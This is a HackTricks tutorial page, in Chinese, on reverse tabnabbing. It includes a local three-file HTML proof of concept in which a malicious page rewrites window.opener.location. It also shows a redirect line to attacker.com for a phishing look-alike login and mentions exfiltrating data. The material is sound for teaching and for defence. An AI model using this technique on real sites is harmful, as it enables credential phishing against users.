hacktricks/pentesting-web/reverse-tab-nabbing.md
2023-08-03 19:12:22 +00:00

117 lines
6.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
</details>
# 描述
在一个**攻击者**可以**控制**一个将被受害者点击的带有属性**`target="_blank" rel="opener"`**的**`<a`**标签的**`href`**参数的情况下**攻击者**将此**链接**指向一个由他控制的网站一个**恶意****网站**)。然后一旦受害者点击链接并访问攻击者的网站这个**恶意****网站**将能够通过javascript对象**`window.opener`****控制**原始**页面**。\
如果页面没有**`rel="opener"`但包含`target="_blank"`且没有`rel="noopener"`**它也可能存在漏洞
滥用这种行为的常见方法是通过`window.opener.location = https://attacker.com/victim.html`将原始网页的位置更改为由攻击者控制的网页,该网页**看起来像原始网页**,因此可以**模仿**原始网站的**登录**表单并向用户索取凭据。
然而请注意由于**攻击者现在可以控制原始网站的窗口对象**他可以以其他方式滥用它来执行**更隐蔽的攻击**也许修改javascript事件以将信息外泄到由他控制的服务器
# 概述
## 带有后向链接
当未使用预防属性时父页面和子页面之间的链接
![](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
## 没有后向链接
当使用预防属性时父页面和子页面之间的链接
![](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
## 示例 <a href="#examples" id="examples"></a>
在一个文件夹中创建以下页面并使用`python3 -m http.server`运行一个Web服务器\
然后**访问**`http://127.0.0.1:8000/`vulnerable.html**点击**链接并注意**原始**网站的**URL**如何**改变**。
{% code title="vulnerable.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
```
{% code title="malicious.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
```
{% code title="malicious_redir.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
```
{% endcode %}
## 可访问的属性 <a href="#accessible-properties" id="accessible-properties"></a>
**跨域**跨域名访问的情况下恶意网站只能访问以下属性这些属性来自于**opener** JavaScript对象引用实际上是对**window** JavaScript类实例的引用
* `opener.closed`返回一个布尔值指示窗口是否已关闭
* `opener.frames`返回当前窗口中的所有iframe元素
* `opener.length`返回当前窗口中iframe元素的数量
* `opener.opener`返回创建该窗口的窗口的引用
* `opener.parent`返回当前窗口的父窗口
* `opener.self`返回当前窗口
* `opener.top`返回最顶层的浏览器窗口
如果域名相同则恶意网站可以访问由[**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript对象引用公开的所有属性
# 预防措施
预防信息已记录在[HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing)
# 参考资料
{% embed url="https://owasp.org/www-community/attacks/Reverse_Tabnabbing" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
</details>